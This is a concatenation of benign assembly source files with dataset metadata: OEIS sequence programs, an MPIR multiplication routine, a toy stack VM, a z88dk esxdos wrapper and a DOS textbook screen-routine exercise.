'LOAD'} {'src': {'NT': False, 'same': False, 'congruent': 9, 'type': 'addresses_A_ht', 'AVXalign': False, 'size': 2}, 'OP': 'LOAD'} {'src': {'NT': True, 'same': False, 'congruent': 8, 'type': 'addresses_A_ht', 'AVXalign': False, 'size': 4}, 'OP': 'LOAD'} {'src': {'NT': False, 'same': False, 'congruent': 9, 'type': 'addresses_A_ht', 'AVXalign': False, 'size': 1}, 'OP': 'LOAD'} {'src': {'same': False, 'congruent': 1, 'type': 'addresses_WT_ht'}, 'OP': 'REPM', 'dst': {'same': False, 'congruent': 9, 'type': 'addresses_UC_ht'}} {'OP': 'STOR', 'dst': {'NT': False, 'same': False, 'congruent': 3, 'type': 'addresses_A_ht', 'AVXalign': False, 'size': 8}} {'src': {'same': True, 'congruent': 10, 'type': 'addresses_UC_ht'}, 'OP': 'REPM', 'dst': {'same': False, 'congruent': 9, 'type': 'addresses_UC_ht'}} {'33': 21829} 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 */
32.834043
2,999
0.654225
81081caa3a3a09e1bf9a5f48fe03d2ebdb3303b0
329
asm
Assembly
programs/oeis/176/A176776.asm
karttu/loda
9c3b0fc57b810302220c044a9d17db733c76a598
[ "Apache-2.0" ]
null
null
null
programs/oeis/176/A176776.asm
karttu/loda
9c3b0fc57b810302220c044a9d17db733c76a598
[ "Apache-2.0" ]
null
null
null
programs/oeis/176/A176776.asm
karttu/loda
9c3b0fc57b810302220c044a9d17db733c76a598
[ "Apache-2.0" ]
null
null
null
; A176776: a(n) = 2^n-n*(n-2). ; 1,3,4,5,8,17,40,93,208,449,944,1949,3976,8049,16216,32573,65312,130817,261856,523965,1048216,2096753,4193864,8388125,16776688,33553857,67108240,134217053,268434728,536870129,1073740984,2147482749 mov $1,1 mov $2,1 lpb $0,1 sub $0,1 add $1,$2 add $1,3 add $3,2 sub $1,$3 mul $2,2 lpe
23.5
197
0.68693
dc21aced1caa2753ffb180c68a7a7c3d99aa825d
531
asm
Assembly
stack.asm
siraben/awk-vm
fd68d920de4a0347c9194c2255d1095aaa754a4c
[ "MIT" ]
8
2019-05-01T21:51:26.000Z
2022-01-21T02:00:54.000Z
stack.asm
siraben/awk-vm
fd68d920de4a0347c9194c2255d1095aaa754a4c
[ "MIT" ]
null
null
null
stack.asm
siraben/awk-vm
fd68d920de4a0347c9194c2255d1095aaa754a4c
[ "MIT" ]
2
2020-06-24T13:29:58.000Z
2020-07-29T00:16:46.000Z
;; Simulating a stack and subroutine calls j say_msg1 j say_msg2 lda 1 j push lda 2 j push lda 3 j push j pop put j pop put j pop put halt say_msg1 lda msg1 putn ret say_msg2 lda msg2 putn ret ;; Push a value into the stack from the accumulator push sti sp ld sp inc st sp ret ;; Pop a value into the accumulator pop ld sp dec st sp ldi sp ret sp const stack_start stack_start blk 10 msg1 string "message 1" msg2 string "message 2"
10.836735
51
0.621469
5f1bf23b1b1842bcab90831f8faca1a45796fad9
583
asm
Assembly
oeis/239/A239906.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
11
2021-08-22T19:44:55.000Z
2022-03-20T16:47:57.000Z
oeis/239/A239906.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
9
2021-08-29T13:15:54.000Z
2022-03-09T19:52:31.000Z
oeis/239/A239906.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
3
2021-08-22T20:56:47.000Z
2021-09-29T06:26:12.000Z
; A239906: Let cn(n,k) denote the number of times 11..1 (k 1's) appears in the binary representation of n; a(n) = n - cn(n,1) + cn(n,2) - cn(n,3). ; Submitted by Simon Strandgaard ; 0,0,1,2,3,3,5,5,7,7,8,9,11,11,12,12,15,15,16,17,18,18,20,20,23,23,24,25,26,26,27,27,31,31,32,33,34,34,36,36,38,38,39,40,42,42,43,43,47,47,48,49,50,50,52,52,54,54,55,56,57,57,58,58,63,63,64,65,66,66,68,68,70,70,71,72,74,74,75,75,78,78,79,80,81,81,83,83,86,86,87,88,89,89,90,90,95,95,96,97 lpb $0 sub $0,1 mov $2,$0 add $0,1 div $0,2 mod $2,8 cmp $2,2 add $1,$2 add $1,$0 lpe mov $0,$1
36.4375
289
0.61578
d85be8b070c6187f0a3ce4818b1a649ad1c4f464
645
asm
Assembly
oeis/314/A314943.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
11
2021-08-22T19:44:55.000Z
2022-03-20T16:47:57.000Z
oeis/314/A314943.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
9
2021-08-29T13:15:54.000Z
2022-03-09T19:52:31.000Z
oeis/314/A314943.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
3
2021-08-22T20:56:47.000Z
2021-09-29T06:26:12.000Z
; A314943: Coordination sequence Gal.6.321.3 where G.u.t.v denotes the coordination sequence for a vertex of type v in tiling number t in the Galebach list of u-uniform tilings. ; Submitted by Jamie Morken(s4) ; 1,5,9,14,20,24,28,34,39,43,48,53,57,62,68,72,76,82,87,91,96,101,105,110,116,120,124,130,135,139,144,149,153,158,164,168,172,178,183,187,192,197,201,206,212,216,220,226,231,235 mov $2,$0 mov $4,$0 lpb $0 mov $0,4 mul $0,$2 mov $2,$0 add $0,1 mov $6,$2 add $2,3 add $3,$6 add $6,$2 pow $2,3 div $2,$6 add $2,$3 mod $2,10 add $2,3 sub $2,$0 sub $0,$2 div $0,10 lpe add $0,1 mov $5,$4 mul $5,4 add $0,$5
22.241379
177
0.634109
681c1458e8b77ac77a6da4e2f48386e35305c26a
674
asm
Assembly
oeis/079/A079727.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
11
2021-08-22T19:44:55.000Z
2022-03-20T16:47:57.000Z
oeis/079/A079727.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
9
2021-08-29T13:15:54.000Z
2022-03-09T19:52:31.000Z
oeis/079/A079727.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
3
2021-08-22T20:56:47.000Z
2021-09-29T06:26:12.000Z
; A079727: a(n) = 1 + C(2,1)^3 + C(4,2)^3 + ... + C(2n,n)^3. ; 1,9,225,8225,351225,16354233,805243257,41229480825,2172976383825,117106008311825,6423711336265041,357470875526646609,20131502573232075025,1145190201805448075025,65706503254247744075025,3798058180969246635083025,220966981678640207498402025,12929128355561483798860250025,760339853877134760862837250025,44916742221387560424220909250025,2664230374259738500348958382218025,158609130349394333149352592006602025,9473944338706288560616168443677450025,567613121366089858201719871564253450025 sub $3,$0 lpb $0 mov $2,$0 sub $0,1 seq $2,2897 ; a(n) = binomial(2n,n)^3. add $3,$2 add $3,1 lpe mov $0,$3 add $0,1
48.142857
484
0.810089
ef15d6269255545f47c4950ccce39e0874f1bdcc
8,116
asm
Assembly
externals/mpir-3.0.0/mpn/x86_64w/mulmid_basecase.asm
JaminChan/eos_win
c03e57151cfe152d0d3120abb13226f4df74f37e
[ "MIT" ]
12
2021-09-29T14:50:06.000Z
2022-03-31T15:01:21.000Z
externals/mpir-3.0.0/mpn/x86_64w/mulmid_basecase.asm
JaminChan/eos_win
c03e57151cfe152d0d3120abb13226f4df74f37e
[ "MIT" ]
15
2021-12-24T22:53:49.000Z
2021-12-25T10:03:13.000Z
LibSource/mpir/mpn/x86_64w/mulmid_basecase.asm
ekzyis/CrypTool-2
1af234b4f74486fbfeb3b3c49228cc36533a8c89
[ "Apache-2.0" ]
10
2021-10-17T19:46:51.000Z
2022-03-18T02:57:57.000Z
; PROLOGUE(mpn_mulmid_basecase) ; ; AMD64 mpn_mulmid_basecase ; ; Based on mul_basecase.asm from GMP 4.3.1, modifications are copyright ; (C) 2009, David Harvey. The original mul_basecase.asm was released under ; LGPLv3+, license terms reproduced below. These modifications are hereby ; released under the same terms. ; ; Windows Conversion Copyright 2010 Dr B R Gladman ; ; Contributed to the GNU project by Torbjorn Granlund and David Harvey. ; ; Copyright 2008 Free Software Foundation, Inc. ; ; This file is part of the GNU MP Library. ; ; The GNU MP Library is free software; you can redistribute it and/or modify ; it under the terms of the GNU Lesser General Public License as published ; by the Free Software Foundation; either version 3 of the License, or (at ; your option) any later version. ; ; The GNU MP Library is distributed in the hope that it will be useful, but ; WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY ; or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public ; License for more details. ; ; You should have received a copy of the GNU Lesser General Public License ; //www.gnu.org/licenses/. ; ; void mpn_mulmid_basecase(mp_ptr, mp_ptr, mp_size_t, mp_ptr, mp_size_t) ; rax rdi rsi rdx rcx r8 ; rax rcx rdx r8 r9 [rsp+40] %define reg_save_list rbx, rsi, rdi, rbp, r12, r13, r14, r15 %include 'yasm_mac.inc' BITS 64 TEXT xalign 16 WIN64_GCC_PROC mpn_mulmid_basecase, 5, frame mov r15, rcx lea r13, [rdx+1] sub r13, r8 lea rdi, [rdi+r13*8] cmp r13, 4 jc .29 lea rsi, [rsi+rdx*8] test r8, 1 jz .10 .0: mov ebx, r13d neg r13 mov rax, [rsi+r13*8] mov r12, [r15] mul r12 and r13, -4 mov r11, r13 and ebx, 3 jz .2 cmp ebx, 2 jc .3 jz .4 .1: mov r10, rax mov rbx, rdx lea r14, [rel .23] jmp .8 xalign 16 .2: mov rbp, rax mov r10, rdx lea r14, [rel .20] jmp .7 xalign 16 .3: add r11, 4 mov rcx, rax mov rbp, rdx mov r10d, 0 mov rax, [rsi+r11*8] lea r14, [rel .21] jmp .6 xalign 16 .4: mov rbx, rax mov rcx, rdx mov rax, [rsi+r11*8+24] mov ebp, 0 mov r10d, 0 lea r14, [rel .22] jmp .9 xalign 16 .5: mov [rdi+r11*8-16], rbx add rcx, rax mov rax, [rsi+r11*8] adc rbp, rdx .6: mov ebx, 0 mul r12 mov [rdi+r11*8-8], rcx add rbp, rax adc r10, rdx .7: mov rax, [rsi+r11*8+8] mul r12 mov [rdi+r11*8], rbp add r10, rax adc rbx, rdx .8: mov rax, [rsi+r11*8+16] mul r12 mov [rdi+r11*8+8], r10 mov ebp, 0 mov r10, rbp add rbx, rax mov rax, [rsi+r11*8+24] mov rcx, rbp adc rcx, rdx .9: mul r12 add r11, 4 js .5 mov [rdi-16], rbx add rcx, rax mov [rdi-8], rcx mov [rdi+8], rbp adc rbp, rdx mov [rdi], rbp dec r8 jz .40 lea rsi, [rsi-8] lea r15, [r15+8] mov r11, r13 mov r12, [r15] mov r9, [r15+8] jmp r14 xalign 16 .10:mov ebx, r13d neg r13 mov rax, [rsi+r13*8-8] mov r12, [r15] mov r9, [r15+8] mul r9 and r13, -4 mov r11, r13 and ebx, 3 jz .12 cmp ebx, 2 jc .13 jz .14 .11:mov rcx, rax mov rbp, rdx lea r14, [rel .23] jmp .17 xalign 16 .12:mov rbx, rax mov rcx, rdx lea r14, [rel .20] jmp .16 xalign 16 .13:mov r10, rax mov rbx, rdx mov ecx, 0 lea r14, [rel .21] jmp .19 xalign 16 .14:mov rbp, rax mov r10, rdx mov ebx, 0 mov rax, [rsi+r11*8+16] lea r14, [rel .22] jmp .18 xalign 16 .15:mov rax, [rsi+r11*8-8] mul r9 add rbx, rax adc rcx, rdx .16:mov ebp, 0 mov rax, [rsi+r11*8] mul r12 add rbx, rax mov rax, [rsi+r11*8] adc rcx, rdx adc ebp, 0 mul r9 add rcx, rax mov [rdi+r11*8], rbx adc rbp, rdx .17:mov rax, [rsi+r11*8+8] mul r12 mov r10d, 0 add rcx, rax adc rbp, rdx mov ebx, 0 adc r10d, 0 mov rax, [rsi+r11*8+8] mov [rdi+r11*8+8], rcx mul r9 add rbp, rax mov rax, [rsi+r11*8+16] adc r10, rdx .18:mov ecx, 0 mul r12 add rbp, rax mov rax, [rsi+r11*8+16] adc r10, rdx adc ebx, 0 mul r9 add r10, rax mov [rdi+r11*8+16], rbp adc rbx, rdx .19:mov rax, [rsi+r11*8+24] mul r12 add r10, rax adc rbx, rdx adc ecx, 0 add r11, 4 mov [rdi+r11*8-8], r10 jnz .15 mov [rdi], rbx mov [rdi+8], rcx sub r8, 2 jz .40 lea r15, [r15+16] lea rsi, [rsi-16] mov r11, r13 mov r12, [r15] mov r9, [r15+8] jmp r14 xalign 16 .20:mov rax, [rsi+r11*8-8] mul r9 mov rcx, rax mov rbp, rdx mov r10d, 0 jmp .25 xalign 16 .21:mov rax, [rsi+r11*8+16] mul r9 mov rbx, rax mov rcx, rdx mov ebp, 0 mov rax, [rsi+r11*8+24] jmp .28 xalign 16 .22:mov rax, [rsi+r11*8+8] mul r9 mov r10, rax mov rbx, rdx mov ecx, 0 jmp .27 xalign 16 .23:mov rax, [rsi+r11*8] mul r9 mov rbp, rax mov r10, rdx mov ebx, 0 mov ecx, 0 jmp .26 xalign 16 .24:mov r10d, 0 add rbx, rax mov rax, [rsi+r11*8-8] adc rcx, rdx adc ebp, 0 mul r9 add [rdi+r11*8-8], rbx adc rcx, rax adc rbp, rdx .25:mov rax, [rsi+r11*8] mul r12 add rcx, rax mov rax, [rsi+r11*8] adc rbp, rdx adc r10d, 0 mul r9 add [rdi+r11*8], rcx mov ecx, 0 adc rbp, rax mov ebx, 0 adc r10, rdx .26:mov rax, [rsi+r11*8+8] mul r12 add rbp, rax mov rax, [rsi+r11*8+8] adc r10, rdx adc ebx, 0 mul r9 add [rdi+r11*8+8], rbp adc r10, rax adc rbx, rdx .27:mov rax, [rsi+r11*8+16] mul r12 add r10, rax mov rax, [rsi+r11*8+16] adc rbx, rdx adc ecx, 0 mul r9 add [rdi+r11*8+16], r10 nop ; < not translated > adc rbx, rax mov ebp, 0 mov rax, [rsi+r11*8+24] adc rcx, rdx .28:mul r12 add r11, 4 jnz .24 add rbx, rax adc rcx, rdx adc ebp, 0 add [rdi-8], rbx adc [rdi], rcx adc [rdi+8], rbp sub r8, 2 jz .40 lea r15, [r15+16] lea rsi, [rsi-16] mov r11, r13 mov r12, [r15] mov r9, [r15+8] jmp r14 xalign 16 .29:xor ebx, ebx xor ecx, ecx xor ebp, ebp neg r13 mov eax, r8d and eax, 3 jz .31 cmp eax, 2 jc .32 jz .33 .30:lea r15, [r15-8] mov r10, r15 add r8, 1 mov r11, r8 lea r14, [rel .36] jmp .36 .31:mov r10, r15 mov r11, r8 lea r14, [rip+0] mov rax, [rsi+r11*8-8] jmp .35 .32:lea r15, [r15+8] mov r10, r15 add r8, 3 mov r11, r8 lea r14, [rip+0] mov rax, [r10-8] jmp .38 .33:lea r15, [r15-16] mov r10, r15 add r8, 2 mov r11, r8 lea r14, [rip+0] mov rax, [r10+16] jmp .37 xalign 16 .34:add rbx, rax adc rcx, rdx mov rax, [rsi+r11*8-8] adc rbp, 0 .35:mul qword [r10] add rbx, rax adc rcx, rdx adc rbp, 0 .36:mov rax, [rsi+r11*8-16] mul qword [r10+8] add rbx, rax mov rax, [r10+16] adc rcx, rdx adc rbp, 0 .37:mul qword [rsi+r11*8-24] add rbx, rax mov rax, [r10+24] adc rcx, rdx lea r10, [r10+32] adc rbp, 0 .38:mul qword [rsi+r11*8-32] sub r11, 4 jnz .34 add rbx, rax adc rcx, rdx adc rbp, 0 mov [rdi+r13*8], rbx inc r13 jz .39 mov r11, r8 mov r10, r15 lea rsi, [rsi+8] mov rbx, rcx mov rcx, rbp xor ebp, ebp jmp r14 .39:mov [rdi], rcx mov [rdi+8], rbp .40:WIN64_GCC_END end
19.509615
77
0.522055
d71494a7c38e08d610fa30de969f9cb2c9e4db3a
392
asm
Assembly
oeis/037/A037538.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
11
2021-08-22T19:44:55.000Z
2022-03-20T16:47:57.000Z
oeis/037/A037538.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
9
2021-08-29T13:15:54.000Z
2022-03-09T19:52:31.000Z
oeis/037/A037538.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
3
2021-08-22T20:56:47.000Z
2021-09-29T06:26:12.000Z
; A037538: Base 5 digits are, in order, the first n terms of the periodic sequence with initial period 1,2,1. ; Submitted by Christian Krause ; 1,7,36,181,907,4536,22681,113407,567036,2835181,14175907,70879536,354397681,1771988407,8859942036,44299710181,221498550907,1107492754536,5537463772681,27687318863407,138436594317036,692182971585181 mov $1,5 pow $1,$0 mul $1,45 div $1,31 mov $0,$1
39.2
199
0.795918
359c20b97ecc2db913ce4d756b9374e05386b72b
810
asm
Assembly
oeis/238/A238518.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
11
2021-08-22T19:44:55.000Z
2022-03-20T16:47:57.000Z
oeis/238/A238518.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
9
2021-08-29T13:15:54.000Z
2022-03-09T19:52:31.000Z
oeis/238/A238518.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
3
2021-08-22T20:56:47.000Z
2021-09-29T06:26:12.000Z
; A238518: Number of (n+1) X (1+1) 0..3 arrays with no element equal to all horizontal neighbors or equal to all vertical neighbors. ; Submitted by Jon Maiga ; 84,588,7056,74676,812028,8777664,95006100,1028017452,11124397872,120377861940,1302620868444,14095781346528,152531780288916,1650560738719116,17860873095687888,193274188450247604,2091438180719606460,22631649360592027392,244899207402136515732,2650077368661586726380,28676736582350858984304,310313665079421140892468,3357933370782896092533276,36336512991560996765761056,393200826399377892862553748,4254863143226221422548500044,46042274461541074598329474320,498227784592029030758408017332 mov $1,1 mov $2,1 lpb $0 sub $0,1 mov $3,$2 add $2,$1 mul $2,2 add $3,$4 mul $3,7 mov $4,$1 add $1,$3 sub $1,$4 add $2,$3 lpe mov $0,$1 mul $0,84
38.571429
484
0.803704
1c4b4d91601eddc2a401d423774cfbc48bf2219f
708
asm
Assembly
oeis/062/A062193.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
11
2021-08-22T19:44:55.000Z
2022-03-20T16:47:57.000Z
oeis/062/A062193.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
9
2021-08-29T13:15:54.000Z
2022-03-09T19:52:31.000Z
oeis/062/A062193.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
3
2021-08-22T20:56:47.000Z
2021-09-29T06:26:12.000Z
; A062193: Fourth (unsigned) column sequence of triangle A062139 (generalized a=2 Laguerre). ; Submitted by Christian Krause ; 1,24,420,6720,105840,1693440,27941760,479001600,8562153600,159826867200,3116623910400,63465795993600,1348648164864000,29877743960064000,689322235650048000,16543733655601152000,412559358036553728000,10678006913887272960000,286526518855975157760000,7962421155576572805120000,228919608222826468147200000,6802182644335415053516800000,208703331133018416414720000000,6605914133253800310865920000000,215517948597405235142000640000000,7241403072872815900771221504000000,250385437019717749799743389696000000 mov $1,$0 add $0,5 bin $0,$1 add $1,3 lpb $1 mul $0,$1 sub $1,1 lpe div $0,6
50.571429
500
0.865819
0eed3dfc0845ab5475d6fa5a3d0ecf3d18617a25
556
asm
Assembly
programs/oeis/186/A186422.asm
karttu/loda
9c3b0fc57b810302220c044a9d17db733c76a598
[ "Apache-2.0" ]
null
null
null
programs/oeis/186/A186422.asm
karttu/loda
9c3b0fc57b810302220c044a9d17db733c76a598
[ "Apache-2.0" ]
null
null
null
programs/oeis/186/A186422.asm
karttu/loda
9c3b0fc57b810302220c044a9d17db733c76a598
[ "Apache-2.0" ]
null
null
null
; A186422: First differences of A186421. ; 1,1,-1,3,-1,3,-3,5,-3,5,-5,7,-5,7,-7,9,-7,9,-9,11,-9,11,-11,13,-11,13,-13,15,-13,15,-15,17,-15,17,-17,19,-17,19,-19,21,-19,21,-21,23,-21,23,-23,25,-23,25,-25,27,-25,27,-27,29,-27,29,-29,31,-29,31,-31,33,-31,33,-33,35,-33,35,-35,37,-35,37,-37,39,-37,39,-39,41,-39,41,-41,43 mov $2,$0 mov $4,$0 pow $0,2 add $2,$4 mov $4,$2 lpb $0,1 sub $0,1 sub $0,$2 add $1,1 mov $4,$1 lpe mov $3,$0 div $3,2 mov $0,$3 add $0,1 trn $0,1 sub $4,1 gcd $4,2 sub $4,$3 add $4,1 trn $4,2 sub $0,$4 mov $1,$0 mul $1,2 add $1,1
19.172414
274
0.544964
a5d862863c83f44a0e800f3cbb30fdb158902108
209
asm
Assembly
libsrc/_DEVELOPMENT/arch/zxn/esxdos/c/sdcc_iy/esx_m_setcaps.asm
jpoikela/z88dk
7108b2d7e3a98a77de99b30c9a7c9199da9c75cb
[ "ClArtistic" ]
640
2017-01-14T23:33:45.000Z
2022-03-30T11:28:42.000Z
libsrc/_DEVELOPMENT/arch/zxn/esxdos/c/sdcc_iy/esx_m_setcaps.asm
jpoikela/z88dk
7108b2d7e3a98a77de99b30c9a7c9199da9c75cb
[ "ClArtistic" ]
1,600
2017-01-15T16:12:02.000Z
2022-03-31T12:11:12.000Z
libsrc/_DEVELOPMENT/arch/zxn/esxdos/c/sdcc_iy/esx_m_setcaps.asm
jpoikela/z88dk
7108b2d7e3a98a77de99b30c9a7c9199da9c75cb
[ "ClArtistic" ]
215
2017-01-17T10:43:03.000Z
2022-03-23T17:25:02.000Z
; unsigned char esx_m_setcaps(unsigned char caps) SECTION code_esxdos PUBLIC _esx_m_setcaps EXTERN asm_esx_m_setcaps _esx_m_setcaps: pop af pop hl push hl push af jp asm_esx_m_setcaps
11.611111
49
0.751196
22f49078c9820117f84ebe95047b0cba728c80d6
669
asm
Assembly
oeis/018/A018217.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
11
2021-08-22T19:44:55.000Z
2022-03-20T16:47:57.000Z
oeis/018/A018217.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
9
2021-08-29T13:15:54.000Z
2022-03-09T19:52:31.000Z
oeis/018/A018217.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
3
2021-08-22T20:56:47.000Z
2021-09-29T06:26:12.000Z
; A018217: Sum(C(j)*(n-j)*4^(n-j),j=0..n-1), C = Catalan numbers. ; Submitted by Jon Maiga ; 0,4,36,232,1300,6744,33320,159184,742068,3395320,15308920,68213424,300999816,1317415792,5726300880,24742452128,106357582324,455122855224,1939780103768,8238185701360,34876073003352,147223869286736,619871651308336,2603757232133472,10913483674589000,45652913299165744,190627015385507760,794642979709698784,3307389725713130128,13745885122156861920,57052854334711418784,236503932669189928768,979243970542293637236,4050110977890818430392,16733833638971498219800,69072145241687489795184 mov $1,$0 mul $1,2 add $1,1 bin $1,$0 mov $2,4 pow $2,$0 add $0,1 sub $2,$1 mul $0,$2 mul $0,2
44.6
481
0.820628
7667e3e9953f4fd299d938f803e4e4705daecc51
2,155
asm
Assembly
WangShuang_book/p296.asm
SmirnovKol/Learning_x86_assembly_language
239b2fb60d6df87316b98184c9c6b6f36940ccbe
[ "MIT" ]
1
2018-11-21T23:34:24.000Z
2018-11-21T23:34:24.000Z
WangShuang_book/p296.asm
SmirnovKol/Learning_x86_assembly_language
239b2fb60d6df87316b98184c9c6b6f36940ccbe
[ "MIT" ]
null
null
null
WangShuang_book/p296.asm
SmirnovKol/Learning_x86_assembly_language
239b2fb60d6df87316b98184c9c6b6f36940ccbe
[ "MIT" ]
null
null
null
assume cs:code code segment start: mov ah, 2 mov al, 00000100b call setscreen mov ax, 4c00h int 21h setscreen: ;description: call different sub procedures to achieve different functions ; (ah) in {0, 1, 2, 3}, (al) in {0, 1, 2, 3, 4, 5, 6, 7} ; (ah)=0: clear screen ; (ah)=1: set font color of the screen ; (ah)=2: set background color of the screen ; (ah)=3: scroll up the screen one row ; (al) is color setting: red, green, blue, only useful when (ah)=1 or 2 ; ;params: (ah), (al) ;return: none jmp short set table dw sub1, sub2, sub3, sub4 set: push ax push bx cmp ah, 3 ja setret mov bl, ah mov bh, 0 add bx, bx call word ptr table[bx] ;Caution!!! setret: pop bx pop ax ret ;;;;;;;;;;;;;; here are 4 sub procedures: sub1, sub2, sub3, sub4 ;;;;;;;;;;;;;; sub1: ; clear screen push ax push cx push es push di mov ax, 0b800h mov es, ax mov di, 0 mov cx, 2000 sub1s: mov byte ptr es:[di], ' ' add di, 2 loop sub1s pop di pop es pop cx pop ax ret sub2: ;set font color of the whole screen ;params: (al) is in {0, 1, 2, 3, 4, 5, 6, 7}, (al) is color setting push ax push cx push es push di mov di, 0b800h mov es, di mov di, 1 mov cx, 2000 sub2s: and byte ptr es:[di], 11111000b or byte ptr es:[di], al add di, 2 loop sub2s pop di pop es pop cx pop ax ret sub3: ;set background color of the whole screen ;params: (al) is in {0, 1, 2, 3, 4, 5, 6, 7}, (al) is color setting push ax push cx push es push di mov cl, 4 shl al, cl mov di, 0b800h mov es, di mov di, 1 mov cx, 2000 sub3s: and byte ptr es:[di], 10001111b or byte ptr es:[di], al add di, 2 loop sub3s pop di pop es pop cx pop ax ret sub4: ; scroll up the whole screen one row push cx push ds push si push es push di mov si, 0b800h mov ds, si mov es, si mov si, 160 mov di, 0 cld ;set df flag as 0 mov cx, 24 sub4s: push cx mov cx, 160 rep movsb pop cx loop sub4s ; set bottom row as empty row mov cx, 80 ;now (di)=160*24 sub4s1: mov byte ptr es:[di], ' ' add di, 2 loop sub4s1 